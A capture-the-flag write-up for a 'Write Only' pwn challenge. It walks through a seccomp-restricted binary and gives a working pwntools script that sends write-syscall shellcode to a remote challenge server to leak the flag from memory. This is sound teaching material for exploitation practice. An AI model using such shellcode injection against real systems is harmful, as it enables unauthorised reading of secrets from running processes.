✍️ Write Only
- Solves: 33
- Score: 170
- Technique:
Shellcode Execution
The flag is there. But that doesn't mean you'll be able to see it.
Approach
Files provided for the challenge:
- ELF file - writeonly
- C file - writeonly.c
Check protections
Command:
checksec --file=writeonly
Output:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
All protections are enabled.
Source code
writeonly.c:
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <linux/audit.h>
#include <linux/bpf.h>
#include <linux/filter.h>
#include <linux/seccomp.h>
#include <linux/unistd.h>
#include <stddef.h>
#include <stdio.h>
#include <sys/prctl.h>
#include <unistd.h>
#include <stdbool.h>
bool install_filter()
{
struct sock_filter filter[] = {
BPF_STMT(BPF_LD + BPF_W + BPF_ABS, (offsetof(struct seccomp_data, arch))),
BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, AUDIT_ARCH_X86_64, 1, 0),
BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_KILL_PROCESS),
BPF_STMT(BPF_LD + BPF_W + BPF_ABS, (offsetof(struct seccomp_data, nr))),
BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, __NR_write, 0, 1),
BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_ALLOW),
BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, __NR_exit, 0, 1),
BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_ALLOW),
BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, __NR_exit_group, 0, 1),
BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_ALLOW),
BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_KILL_PROCESS),
};
struct sock_fprog prog = {
.len = (unsigned short)(sizeof(filter) / sizeof(filter[0])),
.filter = filter,
};
if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0))
{
perror("prctl(NO_NEW_PRIVS)");
return 1;
}
if (prctl(PR_SET_SECCOMP, 2, &prog))
{
perror("prctl(PR_SET_SECCOMP)");
return 1;
}
return 0;
}
int main()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
const int FLAG_SIZE = 0x40;
char flag[FLAG_SIZE];
char *flag_mem = (char *)mmap(NULL, FLAG_SIZE, PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
FILE *flag_file = fopen("flag", "r");
fread(flag_mem, 1, FLAG_SIZE, flag_file);
fclose(flag_file);
const int CODE_SIZE = 0x200;
char *code_mem = (char *)mmap(NULL, CODE_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
read(STDIN_FILENO, code_mem, CODE_SIZE);
mprotect(code_mem, CODE_SIZE, PROT_READ | PROT_EXEC);
install_filter();
asm(
"mov rax, %0;" // flag address in rax
"jmp %1;" // jump into recdeived code
: // no output
: "r"(flag_mem), "r"(code_mem));
}
From the souce file, we notice that there is a seccomp filter that is being implemented. This usually means only certain syscalls are able to be executed in the program.
We can check the syscalls that are allowed using seccomp-tools
.
Command:
seccomp-tools dump ./writeonly
Output:
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x01 0x00 0xc000003e if (A == ARCH_X86_64) goto 0003
0002: 0x06 0x00 0x00 0x80000000 return KILL_PROCESS
0003: 0x20 0x00 0x00 0x00000000 A = sys_number
0004: 0x15 0x00 0x01 0x00000001 if (A != write) goto 0006
0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0006: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x06 0x00 0x00 0x80000000 return KILL_PROCESS
From the output obtained from
seccomp-tools
, the only legal syscalls arewrite
,exit
andexit_group
. The rest of the syscalls will result in termination of the program.
Disassemble binary
main function's pseudocode:
int __cdecl main(int argc, const char **argv, const char **envp)
{
void *v3; // rsp
int result; // eax
__int64 v5; // [rsp+0h] [rbp-50h] BYREF
int v6; // [rsp+8h] [rbp-48h]
int v7; // [rsp+Ch] [rbp-44h]
__int64 v8; // [rsp+10h] [rbp-40h]
__int64 *v9; // [rsp+18h] [rbp-38h]
void *ptr; // [rsp+20h] [rbp-30h]
FILE *stream; // [rsp+28h] [rbp-28h]
void *buf; // [rsp+30h] [rbp-20h]
unsigned __int64 v13; // [rsp+38h] [rbp-18h]
v13 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
v6 = 64;
v8 = 63LL;
v3 = alloca(64LL);
v9 = &v5;
ptr = mmap(0LL, 0x40uLL, 2, 34, -1, 0LL);
stream = fopen("flag", "r");
fread(ptr, 1uLL, v6, stream);
fclose(stream);
v7 = 512;
buf = mmap(0LL, 512uLL, 3, 34, -1, 0LL);
read(0, buf, v7);
mprotect(buf, v7, 5);
install_filter();
__asm { jmp rdx }
return result;
}
From both the source code and the disassembled binary, we can see that the flag is being read to the stack. We are also given a buffer for our input. At the end of the program, it will perform a
jmp
instruction to the$rdx
register, which holds the address of our input buffer.
Exploit
- To exploit this program, we can use the
write
syscall to write the flag from the stack to the standard output. - From the source code,
$rax
contains the address where the flag is stored. - To do so, we simply create a shellcode that performs the write syscall to the standard output using the flag address stored in
$rax
. - The program will then execute our shellcode in a executable region (
code_mem
as defined in the source), by jumping to$rdx
.
Create shellcode
To create the shellcode to perform the write
syscall, we can simply use the pwntools library. The argument required by the function are the file_descriptor
, ptr_to_file
and size_to_write
.
In this challenge, our arguments are as follows:
file descriptor
: 0x1 for standard outputptr_to_file
:$rax
register which holds the flag addresssize_to_write
: can be any size as long as it covers the entire length of the flag
Code:
shellcraft.write(0x1,'rax',0x40)
With the generated shellcode, we can send it to the server and obtain the flag!
Remarks: This challenge is a shellcode execution challenge that only allows
write
syscall to be used. However, despite the restrictions enforced in the challenge,write
syscall can be utilised upon to leak information from the readable regions of the program.
Script
from pwn import *
r = remote('147.78.1.47', 40183)
elf = context.binary = ELF('./writeonly')
# r = gdb.debug('./writeonly', gdbscript=''' break * main+388''')
# args: fd, ptr_to_buffer, size_to_write
shellcode = asm(shellcraft.write(0x1,'rax',0x40))
r.sendline(shellcode)
r.interactive()
Flag
1753c{yes_its_write_only_but_you_can_read_it_too}